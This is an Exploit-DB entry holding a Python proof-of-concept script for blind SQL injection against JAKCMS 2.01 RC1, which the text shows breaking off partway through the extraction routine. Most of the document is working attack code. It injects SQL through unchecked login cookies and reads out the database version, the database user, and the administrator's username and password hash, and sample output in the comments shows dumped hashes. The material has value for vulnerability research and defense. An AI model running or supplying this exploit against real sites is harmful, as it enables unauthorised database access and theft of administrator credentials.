Exploit-DB #16201
Description: JAKCMS 2.01 RC1 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-02-20
Author: mr_me

Exploit:
#!/usr/bin/python
# 
# jakCMS <= v2.01 RC1 Blind SQL Injection Exploit
#
# Understanding:
# The parameters 'JAK_COOKIE_NAME' and 'JAK_COOKIE_PASS' are parsed via cookies to the application
# and are unchecked for malicious characters. The contents of these variables are directly inserted into an
# SQL statement, leading to SQL Injection vulnerabilities.
#
# Notes:
# 1. PoC written to only work with the latest version. However, vuln exists in all versions.
# 2. The admin password is encrypted as a sha256 with a unique HMAC. However the default value is set to ''.
#
# [mr_me@pluto jak]$ python jakcmsSQLInjectionExploit.py -p localhost:8080 -t 192.168.1.7 -d /webapps/jak/
#
# 	| ----------------------------------------- |
#	| JAKcms Remote Blind SQL Injection Explo!t |
#	| by mr_me - net-ninja.net ---------------- |
#
# (+) Testing proxy @ localhost:8080.. proxy is found to be working!
# (+) Using 'upload/admin' value for the true page
# (+) This will take time, go grab a coffee..
#
# (!) Getting database version: 5.1.41-3ubuntu12.9
# (!) Getting database user: root@localhost
# (!) Getting database name: jak
# (!) Getting JakCMS administrative account: admin:98b1d8e3f0ae03888a87bba62bdaf9adf02c78e9c98cfc8c3f46ed7b428dd64b
# (!) w00t! You have access to MySQL database!
# (+) Dumping hashs hold onto your knickers..
# (+) The username and hashed password is: root:*EE4E2773D[PII_REDACTED]F0DC6FCE27446A51C9413
# (+) PoC finished.

import sys
import urllib
import re
import urllib2
from optparse import OptionParser

usage = "./%prog [<options>] -t [target] -d [directory]"
usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d /webapps/jak/"

parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
                  help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
                  help="The Target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="dirPath",
                  help="Directory path to the CMS")

(options, args) = parser.parse_args()

def banner():
	print "\n\t| ----------------------------------------- |"
	print "\t| JAKcms Remote Blind SQL Injection Explo!t |"
	print "\t| by mr_me - net-ninja.net ---------------- |\n"

if len(sys.argv) < 5:
    banner()
    parser.print_help()
    sys.exit(1)

# set the stage........
trueStr = "upload/admin"
page = "index.php"
basicInfo = {'version':'version()', 'user':'user()', 'name':'database()'}
lower_value = 0
upper_value = 126

# test before we hit our target
def testProxy():
	check = 1
	sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
	sys.stdout.flush()
	try:
        	req = urllib2.Request("http://www.google.com/")
		req.set_proxy(options.proxy,"http")
		check = urllib2.urlopen(req)
    	except:
        	check = 0
        	pass
    	if check != 0:
        	sys.stdout.write("proxy is found to be working!\n")
        	sys.stdout.flush()
    	else:
        	print "proxy failed, exiting.."
        	sys.exit(1)

# handles all requests to the target server
def getServerResponse(exploit, header=None, data=None):
	try:
		headers = {}
		headers['Cookie'] = header
		req = urllib2.Request(exploit, data, headers)
		if options.proxy:
			req.set_proxy(options.proxy,"http")

		check = urllib2.urlopen(req).read()			
	except urllib.error.HTTPError, error:
		check = error.read()
	except urllib.error.URLError:
		print "(-) Target connection failed, check your address"
		sys.exit(1)
	return check


# modified version of rsauron's function 
# thanks bro. 
def getAsciiValue(URI, data):
	lower = lower_value
        upper = upper_value
	while lower < upper:
		        try:
			mid = (lower + upper) / 2
			header = data + ">"+str(mid)+"--+;"
			result = getServerResponse(URI, header)
			match = re.findall(trueStr,result)
			if len(match) >= 1:
                                lower = mid + 1
			else:
                             	upper = mid
		except (KeyboardInterrupt, SystemExit):
                        raise
                except:
                       	pass

	if lower > lower_value and lower < upper_value:
                value = lower
        else:
             	header = data + "="+str(lower) +"-- ;"
		result = getServerResponse(URI, header)
                match = re.findall(trueStr,result)
                if len(match) > 1:
                        value = lower
                else:
                        print "\n(-) READ xprog's blind sql tutorial!\n"
                        sys.exit(1)
        return value

# Do our blind attacks
def doBlindSqli():
	data = "JAK_COOKIE_PASS=test; JAK_COOKIE_NAME=admin"
	request = ("http://"+options.target+options.dirPath + page)
	print "(+) Using '%s' value for the true page" % (trueStr)
        print "(+) This will take time, go grab a coffee.."
        for key in basicInfo:
	        sys.stdout.write("\n(!) Getting database %s: " % (key))
                sys.stdout.flush()

                # it will never go through all 50 iterations. \0/ lazy.
                for i in range(1,50):
			getBasicInfo = (data+"\"))+and+ascii(substring(%s,%s,1))" % (basicInfo[key],str(i)))
           		asciival = getAsciiValue(request, getBasicInfo)
                        if asciival >= 0:
                                sys.stdout.write("%s" % (chr(asciival)))
                                sys.stdout.flush()
                        else:
                             	break

	# get JAKCMS admin account data
	sys.stdout.write("\n(!) Getting JakCMS administrative account: ")
	sys.stdout.flush()
	for i in range(1,100):
		getUserAndPass = (data+"\"))+and+ascii(substring((SELECT+concat(username,0x3a,password)+from+"
  		"user+limit+0,1),%s,1))" % str(i))

		asciival = getAsciiValue(request, getUserAndPass)
		
		if asciival != 0: